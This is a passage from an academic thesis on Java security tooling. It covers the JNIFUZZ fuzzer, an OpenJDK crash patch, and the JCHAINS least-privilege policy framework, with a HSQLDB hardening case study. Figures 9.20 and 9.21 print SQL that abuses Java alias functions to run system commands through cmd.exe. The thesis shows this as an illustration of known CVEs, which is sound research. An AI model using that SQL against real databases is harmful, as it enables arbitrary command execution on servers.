where XXXX is the number of the slave process that was called.
Creating prototype objects The most straightforward way creating an in-
stance of a class is the use of the default constructor. For a serializable
class an interesting alternative exists. Following the prototype pattern
(Gamma et al., 1995), persisted instances of the class can be retrieved
from an external storage. The next possible technique to create an in-
stance of the object is to search for a static factory method inside the class
definition. A last resort is to use patched classes that allow the easy cre-
ation of the required objects, but this alters the protection semantics of
the involved classes.
Special considerations with AWT based classes During the implementa-
tion of JNIFUZZ we encountered an additional obstacle when testing AWT
(Advanced Windowing Toolkit) classes. When testing instances of AWT
classes, the AWT native library has to be loaded inbeforehand, we solved
this by creating a dummy JFrame object during the slave startup process.
Patching the vulnerabilities With the help of JNIFUZZ we found a Denial-
Of-Service problem in the sun.misc.MessageUtils class. The toStderr
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--- openjdk/jdk/src/share/native/sun/misc/MessageUtils.c.orig 2008-09-17 15:17:02.000000000 +0200
+++ openjdk/jdk/src/share/native/sun/misc/MessageUtils.c 2008-09-17 15:56:07.000000000 +0200
@@ -39,6 +39,9 @@ printToFile(JNIEnv *env, jstring s, FILE
int i;
const jchar *sAsArray;
+ if (s == NULL) {
+ s = (*env)->NewStringUTF(env, "null\0");
+ }
sAsArray = (*env)->GetStringChars(env, s, NULL);
length = (*env)->GetStringLength(env, s);
sConverted = (char *) malloc(length + 1);
Figure 9.11: Patch to fix a JVM crash in sun.util.MessageUtils
and toStdout methods crashed the JVM due to an illegal memory access.
After analyzing the native code we submitted the patch (Schönefeld, 2008)
depicted in Figure 9.11 to the OpenJDK project. The patch was accepted
by the project maintainers (Angel, 2008) and applied to the OpenJDK code
base.
9.2.4 Additional example
With the presented techniques we also analyzed the PulseAudio library
that is shipped with OpenJDK in the Fedora 10 distribution (Mitre Corpo-
ration, 2009b). Although the native methods were guarded the parameter
combination induced by JNIFUZZ we detected a set of parameter combi-
nations that allow crashing the native methods due to an integer overflow.
After knowing that the native method is missing a parameter checks, we
only needed to find a case where the detection routines could be circum-
vented. For that case we used the integer addition behavior of the JAVA
language. A patch was prepared and committed to the OpenJDK project
(OpenJDK project, 2009).
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9.3 JCHAINS
In the deployment phase, the self-written and the third-party software
components are assembled in order to form a composite application, which
fulfills the defined requirements. Each component is built with its own
sound security policy assumptions. While combining the components,
these single assumptions may become invalid. Therefore a common se-
curity policy based on the joint application needs to be derived.
Deployers of JAVA components are frequently confronted with the de-
cision: Do I want a "secure" or "running" application? Due to the business
goals as driving force of running an application, most of them choose the
second configuration choice. This choice leaves security as a neglected
risk.
A common shortcoming during the deployment step is missing docu-
mentation concerning the security demands of a component.
With the JCHAINS framework ((Schönefeld, 2009b)) we provide a means
to derive those security demands of an application. A typical applica-
tion contains multiple components with their own isolated policy defaults.
Those often default to an AllPermission setting, which is too lax from
a least-privilege perspective. Therefore, the policy requirements derived
with JCHAINS are a useful addition to the documentation of the integrated
application.
The following sections describe the architecture of the JCHAINS frame-
work. First the driving security related motivations and afterwards the
design decision that lead to the current implementation are described.
This is followed by an overview of the software architecture of the frame-
work. The chapter continues with a sample evaluation of the HSQLDB
database. Finally it describes the refactoring of the LaxPermission an-
tipattern, deriving the necessary permission settings. In our example for
the HSQLDB database, as used in the OpenOffice database application.
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9.3.1 Requirements
A harmful antipattern occurring in distributed JAVA applications is to as-
sign an unknown library component to the AllPermission protection
domain. This is the frequently preset default protection domain, which is
set for convenience by component developers. It grants libraries within
the classpath of an application more rights than needed. In order to get
rid of this lax security setting, a minimal but sufficient security policy def-
inition is necessary.
9.3.2 Goal
An application typically consists of a combination of black and white box
components. From a security perspective, the trustworthiness of these
components is determined by the weakest link, which is the most vulner-
able component of the system. The idea behind JCHAINS is to acquire a
security policy to provide a least privilege security policy for a JAVA appli-
cation.
For white box components or self-developed components, the security
demands are easy to evaluate. The source code of these components is
typically available. Therefore, the side effects and risks can be derived by
source code audits and by interviews with the responsible programmers.
For black box components or external components, this kind of knowl-
edge is not available. Even by owning the source code, it is not guaranteed,
that the software does not introduce negative effects on the overall system
security. This can happen either by code backdoors or by the effects of
security unaware programming that lead to exploitable vulnerabilities.
JCHAINS analyzes the complete application by tracking the requested
permissions during runtime. The behavior of the components is ob-
served, which in JAVA terms maps to the security permissions. These
are needed by the security manager in order to allow executing critical
methods of the classes and archives listed in the classpath.
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The result of using JCHAINS is a generated policy file for the applica-
tion, which reflects how the application exceeds the permissions granted
by the default security manager.
JCHAINS itself follows the interceptor pattern to acquire the needed
permission request information. The JCHAINS framework bases on an
introspective approach, which is performed by intercepting the requests
passed to the security manager. The SecurityManager class implements
the check point security pattern within the policy enforcement functional-
ity of the JRE.
9.3.3 The distribution architecture
JCHAINS bases on a distributed CORBA communication model, where
the client sends the grant events to the permission collection server. The
implementation of the JCHAINS interceptor mode is subdivided in two
main parts: the client part and the server part.
CORBA was chosen in favor of RMI, providing a larger degree of free-
dom for choosing the implementation language for the client software.
An additional advantage for choosing CORBA over JAVA RMI is minimal
interference with the JAVA security manager architecture.
The command line mode can be used when having direct access to the
machine hosting the virtual machine and resources of the system. Provid-
ing a distributed CORBA mode allows decoupling permission recording
from permission evaluation. This is useful for remote training scenarios
as one example for scenarios is which no direct user access to the system
hosting the virtual machine, network access only is sufficient. As addi-
tional benefit from CORBA location transparency, JCHAINS may also op-
erate locally. Any application that implements the interface described in
IDL is able to use the JCHAINS functionality. Details on the IDL-defined
methods in the service contract between client and server are listed below.
Due to the network independence of CORBA, a server only needs to
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Figure 9.12: JCHAINS-Architecture
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implement the IDL definition as shown in Figure 9.19. This provides the
opportunity to connect the client to other servers, written in other CORBA
compliant programming languages, such as C/C++. An Intrusion Detec-
tion System that is CORBA-enabled may therefore analyze the permission
requests instantly and provide access decisions in accordance to a specific
intrusion rule base.
Client implementation
The client part consists of the security manager interceptor and a CORBA
client interface. The client is responsible to intercept the permission re-
quests and evaluate the current stack frame. The stack frame information
is necessary to derive the required permissions. Furthermore, the client
needs to send the events to the server. Because the client side resides
in the JVM that hosts the application that is to be observed, it is impor-
tant to be notified when the application closes. Therefore, the interceptor
registers a ShutDownHook method that is triggered by the JVM, when the
application is about to close. The task of this method is to notify the server
that the application to be observed has terminated by calling the appropri-
ate IDL method.
Server implementation
The server part is the receiver of permission request events. It imple-
ments a CORBA server. The process is activated by the ORBD (Sun Mi-
crosystems, 2004c) daemon, which is the standard POA activator of the
JDK. The server rebinds itself under the symbolical name jchains in the
registry of the name server that is specified on the command line. The cli-
ent looks up the server by providing this symbolic name. An illustration
of this interaction is shown in Figure 9.13.
Whenever the client sends a request towards the server, the server side
checks the request and adds it to its Permission cache. The permissions
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Figure 9.13: Interaction of JCHAINS components
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Figure 9.14: Permissions requested by the client
received are visualized in a GUI implementation, which is depicted in
Figure 9.14.
When the client finishes execution, the server emits the permissions it
collects to a target file. A typical target file is based on the standard policy
file syntax, as shown in Figure 9.15.
Figure 9.15: Generated policy file
Service contract
The contract between the client and the server describes the functional-
ity of JCHAINS. It is defined in Emitter.IDL, as shown in Table 9.19.
The IDL description defines the method send and the data structures that
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are transferred from client to server. A permission gathering session is
started when a client connects to the JCHAINS server by calling the init
with two parameters, first the name of the executable to be examined and
second the Process Environment of the client, it consists of the properties
of the client JVM. The server shows these settings in its environment tab
(Figure 9.16).
Figure 9.16: Environment of the Client
The server returns a session ID that is used later by the server to iden-
tify the client when serving multiple sessions. During a session, the client
sends in multiple permission requests by using the send method. Each
of these requests carries the associated session ID as the first parameter.
When a client terminates it calls the close method with the current ses-
sion ID. The close method is typically called by the ShutDownHook that is
registered in the client JVM.
9.3.4 Connection modes
JCHAINS provides several connection modes:
File-based mode: The emitter drops a CSV file, the receiver simply opens
the file. For distributed environments a shared directory connects
the client to the server.
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-Djava.security.manager=org.jchains.intercept.JChainsSecInterceptor
Figure 9.17: Integrating the JCHAINS security manager interceptor
Socket mode: Serialized Permission objects are passed by the sender to a
port opened by the Receiver.
CORBA mode: This variant allows JCHAINS to bind to a CORBA name
service and be activated via POA mechanisms.
9.3.5 Integrating JCHAINS into an application
The JCHAINS functionality can be integrated into an application without
modifying any of its source or its compiled artifacts. JCHAINS is enabled
to intercept the control flow of the application. Its behavior can be con-
trolled by specifying defining it as replacement security manager on the
command line, this is illustrated in Figure 9.17.
Defining a value for the java.security.manager instructs the JVM
to replace calls to the default JVM security manager to an instance of the
specified class. A complete start up file for a JBoss server is shown in
Figure 9.18.
For each event the application demands access to a protected resource,
the JChainsSecInterceptor methods are called in order to copy the
meta-information from the call stack. The interceptor security manager
then passes the permission request via the chosen communication chan-
nel to the configured JCHAINS server.
9.3.6 Implementation details
JCHAINS is composed of three large code blocks. These are the following:
Generated IDL classes The org.jchains.CORBA packages contain clas-
ses that are compiled the JAVA IDL compiler. They are responsible
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JAVA=/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0/jre/bin/java
JAVA_OPTS="-Xms128m -XX:MaxPermSize=128m -Xmx512m \\
-Dsun.rmi.dgc.client.gcInterval=3600000 \\
-Dsun.rmi.dgc.server.gcInterval=3600000 -Dcom.sun.management.jmxremote \\
-Xbootclasspath/a:jchains.jar -Xmx1024M -Dorg.jchains.always=true \\
-Dorg.jchains.emitClass=CORBAEmitter \\
-Dorg.jchains.CNameServiceIOR=corbaloc::127.0.0.1:1050/NameService \\
-Djava.security.policy=test.policy \\
-Djava.security.manager=org.jchains.intercept.JChainsSecInterceptor"
CLASSPATH=jchains.jar
sh ~/jboss-5.0.1.GA/bin/run.sh -c default
Figure 9.18: JCHAINS Startup script
to marshal JAVA values into interoperable CORBA values and vice
versa.
Client side interceptor classes The classes in the org.jchains.intercept
package implement the client interceptor functionality. The code
handles all client side setups, such as registering a shutdown hook,
transferring the data to the server and storage in a text file. For
scenarios where network transportation is not possible due to re-
strictions, local storage of the policy file is possible. The classes in
this package and the IDL compiled classes have to be deployed to
the client machine.
Server side operations The server side classes hold the presentation defi-
nitions and determine the resulting policy file. The classes in this
package and the IDL compiled classes have to be deployed to the
server. On the server machine the ORBD process has to be started
before the server process is able to register itself within the naming
directory of the ORBD.
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module org {
module jchains {
module CORBA {
interface PermissionTransfer {
typedef long SessionID;
// The Environment
typedef string Key;
typedef string Value;
struct EnvironmentEntry { Key theKey;
Value theValue;
};
typedef sequence<EnvironmentEntry> ProcessEnvironment;
// The Permission Structure and its elements
typedef string PermissionType;
typedef string Codebase;
typedef string Target;
typedef string Action;
typedef sequence <Action> ActionSeq;
typedef string Stacktrace;
typedef sequence <Stacktrace> StacktraceSeq;
struct CPermission {
PermissionType pt;
Codebase cb;
Target target;
ActionSeq actions;
int stackpos;
StacktraceSeq stack;
;
long init(in string filename, in ProcessEnvironment pe);
void send(in SessionID sid, in CPermission p);
void close(in SessionID sid);
};
};
};
};
Figure 9.19: JCHAINS IDL-Interface
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9.3.7 Summary
This chapter provided information on the generation of least-privilege
policy descriptions for java applications. These are needed when deploy-
ing applications that come with too lax policy definitions in their default
settings. JCHAINS is a distributed observation framework, which allows
monitoring the permissions needed to run an application securely. To
ensure that necessary permissions are recorded, JCHAINS provides best
results when integrated with coverage tests (Sun and Jones, 2004).
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9.3.8 Case Study: Deriving a minimal security policy
In the following paragraphs, we will provide an example for using the
JCHAINS approach. In the antipattern catalog, we identified that a JDBC
client may gain complete control over the server by aliasing classes in
the server JVM. For illustrating the features of the JChains we will derive
a minimal security policy for the HSQLDB, which is a JAVA-based SQL
database management system.
Core problem
HSQLDB has history of security problems that base on the advanced fea-
tures of the software, such as mapping java functions to the SQL names-
pace, as shown in Figure 9.3.8.
CREATE ALIAS COMPDEBUG FOR
org.apache.xml.utils.synthetic.JavaUtils.setDebug;
CREATE ALIAS SETPROP FOR java.lang.System.setProperty;
CREATE ALIAS COMPILE FOR org.apache.xml.utils.synthetic.JavaUtils.JDKcompile;
CALL COMPDEBUG(true);
CALL SETPROP("org.apache.xml.utils.synthetic.javac","cmd.exe");
CALL COMPILE({"/c REGEDIT.EXE","");}
Figure 9.20: Executing arbitrary commands via SQL
Although these methods of the org.apache.xml.utils package were
removed in JDK versions later than 1.4.2_06 this example illustrates the
potential problems with allowing clients to define such macros that are
executed within the server JVM.
The documentation of the HSQLDB software before version 1.8.0.9 was
lacking recommendations and configuration settings that allow limiting
the effects of malicious exploitation of these features.
Therefore a vulnerability in the database component allows undermin-
ing the security of the entire JVM process, as it allows the client to shut-
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down the server or execute arbitrary system commands in the context of
the server process.
This is has been found dangerous when using HSQLDB as component
in other software products, such as the JBoss application server (CVE-
2003-0845). A variant of this problem occurred within the OpenOffice
suite (CVE-2007-4575). HSQLDB is the default backend database for the
oobase application. It could be misused by passing arbitrary SQL into
the database startup code. Figure 9.3.8 shows the SQL code able to pass
commands to a system shell.
CREATE ALIAS COMPDEBUG FOR
org.apache.xml.utils.synthetic.JavaUtils.setDebug;
CREATE ALIAS SETPROP FOR java.lang.System.setProperty;
CREATE ALIAS COMPILE FOR org.apache.xml.utils.synthetic.JavaUtils.JDKcompile;
CALL COMPDEBUG(true);
CALL SETPROP("org.apache.xml.utils.synthetic.javac","cmd.exe");
CALL COMPILE({"/c REGEDIT.EXE","");}
Figure 9.21: HSQLDB SQL statement, opening a command shell
Refactoring without JChains
An alternative refactoring approach would be starting HSQLDB with a de-
fault security manager enabled. But with knowledge of the required per-
mission of the process the deployer can only choose the AllPermission
setting to provide a working database.
Using the above command listed in Figure 9.3.8 lets execution stop
early due to lacking permissions. From the stack trace it is obvious, that
the permission for reading the property user.dir is missing.
The procedure for manually deriving the permissions results in a large
effort deriving the necessary permissions entries. The permissions de-
rived with JCHAINS need to be added to the final policy file. The generate
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java -Djava.security.manager -cp lib/hsqldb.jar org.hsqldb.Server $1
Exception in thread "main" java.security.AccessControlException: access denied
(java.util.PropertyPermission user.dir read)
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:264)
at java.security.AccessController.checkPermission(AccessController.java:427)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:532)
at java.lang.SecurityManager.checkPropertyAccess(SecurityManager.java:1285)
at java.lang.System.getProperty(System.java:628)
at java.io.UnixFileSystem.resolve(UnixFileSystem.java:118)
at java.io.File.getAbsolutePath(File.java:473)
at org.hsqldb.lib.FileUtil.absolutePath(Unknown Source)
at org.hsqldb.lib.FileUtil.canonicalOrAbsolutePath(Unknown Source)
at org.hsqldb.Server.main(Unknown Source)
Figure 9.22: HSQLDB Startup error
security policy is activated with a program restart, in order to provide the
JVM with the modified policy file.
Refactoring with JChains
As presented in Chapter 5.6.1 there is a large variety of permissions that
are necessary for properly execution of an application. As presented above,
Jchains provides an automated way to collect this permission demand dur-
ing automated or manual coverage testing. In the following we describe
the walk through introduction to the usage of JCHAINS.
Initial Setup Although JCHAINS supports a file-based mechanism to
record permissions locally, analysis is more flexible when using CORBA
communication to filter the permissions. First, the service registration is
performed. This step includes setup of the ORBD process, which is used
to broker communication between the client and the service implemen-
tation. To activate the orb daemon from user space on POSIX-compliant
platforms, the default port 900 is not suitable for userspace applications
and has to adjusted with the parameter -ORBInitialPort
Second, the JCHAINS service is registered with the CORBA implemen-
tation of the JDK. This step utilizes the server activation tool (SERVERTOOL).
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java com.sun.corba.se.impl.activation.ORBD {}-ORBInitialPort 1050
Figure 9.23: Starting the ORBD
java com.sun.corba.se.impl.activation.ServerTool \
-verbose \
-ORBInitialPort 1050 \
-cmd register \
-server org.jchains.receiver.Receiver \
-applicationName PermissionTransfer \
-classpath ia.zip \
-vmargs -Djava.io.tmpdir=.
Figure 9.24: Starting the Servertool
Required parameters are the modified communication port of the orb dae-
mon (1050), the command to register the specified server class, which is
Receiver (in theorg.jchains.receiver package) in this case. Further-
more, an application name has to be provided to the SERVERTOOL process
(see Figure 9.3.8 and Figure 9.3.8). The class path parameter links the
archive of the server implementation classes, as they are necessary to be
available when a server process has to be brought up to handle requests.
The last parameter -vmargs is optional and allows specifying the output
the directory where the output files are stored. JCHAINS uses the JVM
temporary directory for this purpose.
Start of the client application There are only two modifications necessary
when starting an application with JCHAINS enabled. First, the modified
security manager implementation class is specified. Second the JCHAINS
archive is added to the class path of the application. There are no modifi-
cations necessary within the source code, as all communication bootstrap
is handled by the JCHAINS framework. In most cases the defaults are
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java -Djava.security.manager=org.jchains.intercept.JChainsSecInterceptor \
-cp /home/schonef/JChains/jchains.jar:lib/hsqldb.jar
Figure 9.25: Starting the Application
appropriate for immediate use, but are modifiable via the command line
(Figure 9.3.8).
Collecting the permissions The collection phase includes gathering of
the intercepted permission requests, which are forwarded to the server
process. After a sufficient number of permissions have been recorded the
application may be terminated and start the next step of JCHAINS func-
tionality. Terminating the client JVM invokes the shutdown hook that is
registered by JCHAINS, the major task of this class is to signal the client
termination signal to the server before the client runtime shuts down. The
shutdown hook is also triggered when the client application executes the
exit() method of the java.lang.System class.
During runtime the collected permissions are presented to the user in
the "PermissionRequests" tab. This view may include duplicate requests,
which are derived from multiple levels of the call stack. Keeping these
copies allows implementing additional analysis and query functionality
using the relevant call stacks.
Policy File generation After the transferal of permissions from the ap-
plication to the server is completed, the total set of permissions show up
in the Policy File tab of the JCHAINS GUI. This view also includes the
name, and (if available) the source file line number of the calling class
(Figure 9.26).
Policy File reduction JCHAINS includes functionality to consolidate the
policy set it has gathered from the collection process (Figure 9.27). First,
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grant Codebase "file://home/schonef/Desktop/hsqldb/hsqldb/lib/hsqldb.jar" {
permission java.lang.RuntimePermission "accessDeclaredMembers" ;//org.hsqldb.Server,main:-1:15
permission java.lang.RuntimePermission "accessClassInPackage.sun.text.resources" ;
//org.hsqldb.Server$ServerThread,run:-1:25
permission java.util.PropertyPermission "java.home" ,"read"; //org.hsqldb.Server$ServerThread,run:-1:19
permission java.util.PropertyPermission "hsqldb.trace" ,"read";
//org.hsqldb.Server$ServerThread,run:-1:27
permission java.util.PropertyPermission "javax.net.ssl.keyStore" ,"read";//org.hsqldb.Server,main:-1:10
permission java.util.PropertyPermission "hsqldb.method_class_names" ,"read";
//org.hsqldb.Server$ServerThread,run:-1:14
permission java.util.PropertyPermission "hsqldb.tracesystemout" ,"read";
//org.hsqldb.Server$ServerThread,run:-1:27
permission java.util.PropertyPermission "user.dir" ,"read";//org.hsqldb.Server$ServerThread,run:-1:27
permission java.sql.SQLPermission "setLog" ;//org.hsqldb.Server,main:-1:7
permission java.lang.reflect.ReflectPermission "suppressAccessChecks" ;
//org.hsqldb.Server$ServerThread,run:-1:39
permission java.io.FilePermission "test.properties" ,"read";//org.hsqldb.Server$ServerThread,run:-1:16
permission java.io.FilePermission "test.data.old" ,"read";//org.hsqldb.Server$ServerThread,run:-1:19
permission java.io.FilePermission "test.log" ,"read";//org.hsqldb.Server$ServerThread,run:-1:20
permission java.io.FilePermission "test.script.new" ,"write";//org.hsqldb.Server$ServerThread,run:-1:19
permission java.io.FilePermission "test.backup.new" ,"read";//org.hsqldb.Server$ServerThread,run:-1:18
permission java.io.FilePermission "/Users/marc/Desktop/hsqldb/hsqldb/server.properties" ,"read";
//org.hsqldb.Server,main:-1:10
permission java.io.FilePermission "test.script.new" ,"read";//org.hsqldb.Server$ServerThread,run:-1:20
permission java.io.FilePermission "test.properties" ,"write";//org.hsqldb.Server$ServerThread,run:-1:19
permission java.io.FilePermission "test.data" ,"read";//org.hsqldb.Server$ServerThread,run:-1:18
permission java.io.FilePermission "test.properties.new" ,"read";
//org.hsqldb.Server$ServerThread,run:-1:20
permission java.io.FilePermission "test.data.new" ,"read";//org.hsqldb.Server$ServerThread,run:-1:19
permission java.io.FilePermission "test.script" ,"write";//org.hsqldb.Server$ServerThread,run:-1:19
permission java.io.FilePermission "test.script" ,"delete";//org.hsqldb.Server$ServerThread,run:-1:20
permission java.io.FilePermission "test.properties" ,"delete";//org.hsqldb.Server$ServerThread,run:-1:20
permission java.io.FilePermission "test.log" ,"write";//org.hsqldb.Server$ServerThread,run:-1:22
permission java.io.FilePermission "/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0/jre/lib/zi/GMT" ,
"read"; //org.hsqldb.Server$ServerThread,run:-1:19
permission java.io.FilePermission "test.properties.new" ,"write";
//org.hsqldb.Server$ServerThread,run:-1:19
permission java.io.FilePermission "test.log" ,"delete";//org.hsqldb.Server$ServerThread,run:-1:19
permission java.io.FilePermission "test.backup" ,"read";//org.hsqldb.Server$ServerThread,run:-1:18
permission java.io.FilePermission "test.script" ,"read";//org.hsqldb.Server$ServerThread,run:-1:-12
permission java.io.FilePermission "/home/schonef/hsqldb/hsqldb/lib/hsqldb.jar" ,"read";
//org.hsqldb.Server$ServerThread,run:-1:38
};
Figure 9.26: Raw Policy file with single item permissions
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grant Codebase "file://home/schonef/hsqldb/hsqldb/lib/hsqldb.jar" {
permission java.io.FilePermission "${java.home}/lib/zi/GMT" ,"read";
permission java.io.FilePermission "${user.dir}/hsqldb/hsqldb/lib/hsqldb.jar" ,"read";
permission java.io.FilePermission "${user.dir}/hsqldb/hsqldb/server.properties" ,"read";
permission java.io.FilePermission "test.backup.new" ,"read";
permission java.io.FilePermission "test.backup" ,"read";
permission java.io.FilePermission "test.data.new" ,"read";
permission java.io.FilePermission "test.data.old" ,"read";
permission java.io.FilePermission "test.data" ,"read";
permission java.io.FilePermission "test.log" ,"delete,read,write";
permission java.io.FilePermission "test.properties.new" ,"read,write";
permission java.io.FilePermission "test.properties" ,"delete,read,write";
permission java.io.FilePermission "test.script.new" ,"read,write";
permission java.io.FilePermission "test.script" ,"delete,read,write";
permission java.lang.reflect.ReflectPermission "suppressAccessChecks" ;
permission java.lang.RuntimePermission "accessClassInPackage.sun.text.resources" ;
permission java.lang.RuntimePermission "accessDeclaredMembers" ;
permission java.sql.SQLPermission "setLog" ;
permission java.util.PropertyPermission "hsqldb.method_class_names" ,"read";
permission java.util.PropertyPermission "hsqldb.trace" ,"read";
permission java.util.PropertyPermission "hsqldb.tracesystemout" ,"read";
permission java.util.PropertyPermission "java.home" ,"read";
permission java.util.PropertyPermission "javax.net.ssl.keyStore" ,"read";
permission java.util.PropertyPermission "user.dir" ,"read";
};
Figure 9.27: Condensed Policy
policy reduction condenses permission requests with the same target stem-
ming from privileged action performed by different code parts. Second,
the permissions with the same target and different actions are combined
into a single permission. As with all information reduction processes pol-
icy condensing has the cost of losing detailed information.
Summary
This example we illustrated the application of JCHAINS to components
that come with lax permission settings. In the context of HSQLDB we
showed how to perform a hardening by deriving a least-privilege policy.
The vulnerabilities that we discovered in products as the JBOSS applica-
tion server and the OpenOffice database component we underlined the
practical relevance of our approach.
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9.4 Summary
In this chapter we shown how the identification of real-world vulnerabili-
ties can be supported by refactoring tools. All of JDETECT framework, the
JNIFUZZ tool as well as JCHAINS showed their usefulness by detecting se-
curity problems in the JDK and other important JAVA based frameworks.
10 Related Work
Our work bases on three main perspectives, the antipatterns, the process,
and the tools, so we divide the related work research on these areas to posi-
tion our approach. The referenced articles, books and papers throughout
this thesis influenced our work. In the following chapter, we reflect on
approaches that either share a set of ideas with our methodology or con-
tribute ideas and important details about fundamental concepts. We will
compare these approaches to our findings by presenting the parallels and
differences.
10.1 Perspective on Antipatterns
A variety of publications covers the influence of suboptimal code on the ef-
fectiveness of the resulting software product. A majority of the published
results describe the effects on the functional behavior of software, whereas
the role of security is not enlightened among the other quality-of-service
types. The research of Kis (2002) has influenced our work, as we adapted
his template of presenting the semantic structure of antipatterns. A main
advantage of following his approach is the applicability of his template for
the description of low-level setups as well as for large scale architectures.
As the implementation of high-level security patterns shares character-
istics with most other types of software, it is not surprising, that we en-
countered a range of antipatterns in security components too. This leads
us to the high-level antipattern catalog presented by Ranum (2005). Those
present a range of common sense principles to the area software secu-
rity. The relevant part to our work is the critique on the penetrate-and-
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patch approach that is a frequent mechanism in the software industry:
Patching a prominent vulnerability in a single spot and leave out the re-
maining appearances of the same antipattern. We observed an example
of this phenomenon after the applied patch cycle against integer over-
flow in the JDK runtime libraries such as the java.util.zip package,
where an additional appearance of the antipattern could still be found in
the java.text.Bidi class (Schönefeld, 2003k).
Research on antipattern analysis related to their occurrence in the pro-
gramming is in the focus of a variety of publications. Tate (2002) and
Bloch (2001) prepared catalogs of bug patterns that impair the efficiency
of programs. They list bug types to help educating developers about the in-
fluence of suboptimal patterns within code to the non-functional require-
ments of the final software product.
The work of Hawtin (2007) provides recent examples of programming
flaws and their relation to vulnerabilities in JDK 1.5. He discusses critical
aspects concerning the relevance of the current Security Code Guidelines
recommended by Sun Microsystems, as well as the blog from Heasman
(2008), which addresses the relation between programming flaws in the
JDK and their exploitation.
Recommendations to avoid bug related patterns in Java programming
have been addressed by a wide range of publications. Security related
publications that focus proactive measures and illustrate misuse cases are
rare as most issues are fixed under embargoed conditions. One of these
publications was shown at the Java One conference (Sterbenz and Lai,
2006; Nisewanger, 2007), which bases in parts on our work, citing the
effects of our XPath example.
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10.2 Perspective on the process
Research targeted to the role of security in the software development work-
flow typically evaluates how security related meta-information can be prop-
agated along the phases of the software development process.
The importance of the role of Security within software development
projects has been mentioned in many formal software development blue-
prints, such as the research of Howard and Lipner (2006) and McGraw
(2006).
Both approaches are focused on the development methodologies at Mi-
crosoft and target the development specifics and tools for the various Win-
dows platforms, hence contribute a generic input to our research, such as
valuable organizational aspects.
The works of Jürjens (2002) on secure system development target the
model perspective by giving a novel approach for UML visualization on
designing secure systems, illustrating theoretical vulnerabilities in design
models. Our practical approach is primarily based on vulnerabilities in
already existing code. The STRIDE model closes this gap, and provides
methods to map attacks to defensive technologies (Hernan et al., 2006).
10.3 Perspective on tools
Extending the analysis and refactoring of bug patterns beyond security is-
sues is helpful to improve the quality of software systems. Others enable
to extract the necessary metadata from executable bytecode. The compar-
ative review on tools splits up in the bug and antipattern detection part,
the testing perspective and ends with the sources related to refactoring.
10.3.1 Bug detection
A number of available tools allow the automatic detection of programming
antipatterns; most of them cover source code only. The initial phases of
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this research were focused on establishing a clear understanding on the
internal structures and state models of the java virtual machine. The work
of LSD (LSD, The last Stage of Delirium, 2002) forms a useful foundation
of knowledge on the concepts and dynamics of JVM internals. The works
of Venners (1999),Meyer and Downing (1997), Engel (1999), the Apache
BCEL library(Dahm, 2001), and the bytecode verification framework by
(Haase, 2001) influenced the design of the JDetect framework.
Our research on native code vulnerabilities has influenced furthergoing
research on the problem of mixed-code TCB environments.
While the first detectors used in this research were based on the sole
use of BCEL coding. Further we ported these detectors to FINDBUGS
(Grindstaff, 2004b), when the underlying framework became stable in
2004. Although FINDBUGS incorporates a default set of detectors, these
focus mostly on static declaration issues. For the detection of more com-
plex antipatterns that take dynamic code flow rules into consideration, we
showed that custom detectors were necessary (Schönefeld, 2006b).
The range of methods of tracking security bugs within given applica-
tions was presented by (Landauer, 2006). Static code scanning frame-
works that base on bytecode analysis, like FINDBUGS or the SOOT-toolkit
(Vallee-Rai et al., 1999), transfer an understanding of the internal struc-
tures of JAVA class files. Therefore they help educating programmers to
perform a critical review on their coding practices. Raising the awareness
of the participants in the software development process allows lifting the
quality of production code. As these frameworks focus on the bytecode, it
is also possible to evaluate the security of third-party components without
having access to the source code. Therefore potential weaknesses within
the final product including third-party components can be found before
shipment.
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10.3.2 Security Testing
From the testing perspective a wide range of fuzzing test tools is avail-
able, which can be compared to JNIFuzz. Most fuzz testing tools are not
specialized to the attack surface of JAVA-based software. Only custom plu-
gins for frameworks like fusil (Stinner, 2008) or metasploit (Moore, 2006)
allow adapting to the special JAVA data types, like fuzzing serialized ob-
ject representations. In the future it may be helpful to build fuzzing tools
based on the VisualVM testing toolkit (Sedlacek and Hurka, 2008), that
allow detailed cause-effect analysis of the JVM behavior when processing
fuzzed serialized objects.
10.3.3 Refactoring
The interception of system calls to derive a confined execution sandbox for
untrusted application as performed by the JCHAINS framework is related
to the concept of call interception to access protected resources. Systrace
(Provos, 2003) is a frequently used interception middleware, for Linux and
other UNIX flavors, that supports this approach. In contrast to the collec-
tive approach of JCHAINS it relies on an interactive mode to decide about
the requests for protected resources. A primarily manual variant of the
concept behind JCHAINS was presented by Neward (2001) and reused by
a patent application (Wilson, 2006) of IBM.
10.4 Summary
The research topics that we describe in our work are in constant move-
ment. We described the influential related work sources. The most rele-
vant to our work are located are in the area of low-level JVM techniques,
also on software antipatterns and also from the domain of software devel-
opment processes. The common areas and differences to our research are
listed in Table 10.1.
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Perspective
Approach Bugs Tools Process Comment
FINDBUGS Y Y N We are able to optionally integrate our inter-
class detectors into the framework
BCEL and Jus-
tice
N Y N JDETECT depends on BCEL as a low-level
framework to represent JVM low level data
types. Especially the Justice class file ana-
lyzer provided a practical starting point to
implement rule set to evaluate class files
based on a given criteria
SOOT N Y N Illustrates how internal structures of JVM
class files are usable for reverse-engineering
higher level meta information such as
control-flow graphs
Bloch Y N N Demonstrates “effective” use of JAVA by il-
lustrating misuse pattern and their effects
on performance and other crosscutting con-
cerns
McGraw N N Y Provides a holistic view on the process, but
does not go into implementation details
Swiderski and
Snyder
Y N Y A starting point in the field of Threat Anal-
ysis and the idea to forward threat related
information in the stages of the SDLC.
Howard Y Y Y Primarily specialized on Windows binaries,
but forwarding the idea of the secure coding
and the attack surface perspective through-
out the entire SDLC
Landauer Y Y N This source focuses on the implementation
and maintenance phase, where antipattern
locations need to be located and refactored
inside productive code.
Hawtin and
Heasman
Y N N For a set of class library bugs both dis-
closed detailed analysis descriptions why a
bug lead towards a vulnerability, with em-
phasis on the exploitation part
Table 10.1: Related Work, Differences and Similarities
11 Conclusions and Outlook
This chapter sums up the results of the thesis providing a distilled view
on the presented problems and approaches to solve them. Furthermore,
we refer toward related research areas, which have been identified as not
being directly related. Those topics nevertheless contribute to a holistic
understanding of the argumentation, presented within this thesis. Finally
yet importantly, we conclude with a perspective on future research initia-
tives, being possible extensions to our results.
11.1 Summary of research contribution
Our research has provided contributions on two different dimensions.
First, we have identified, specified and implemented artifacts for a security-
aware software development process. Furthermore, we have contributed
to the identification and mitigation of a set of problems within JAVA-based
middleware.
11.1.1 Support of the software development process
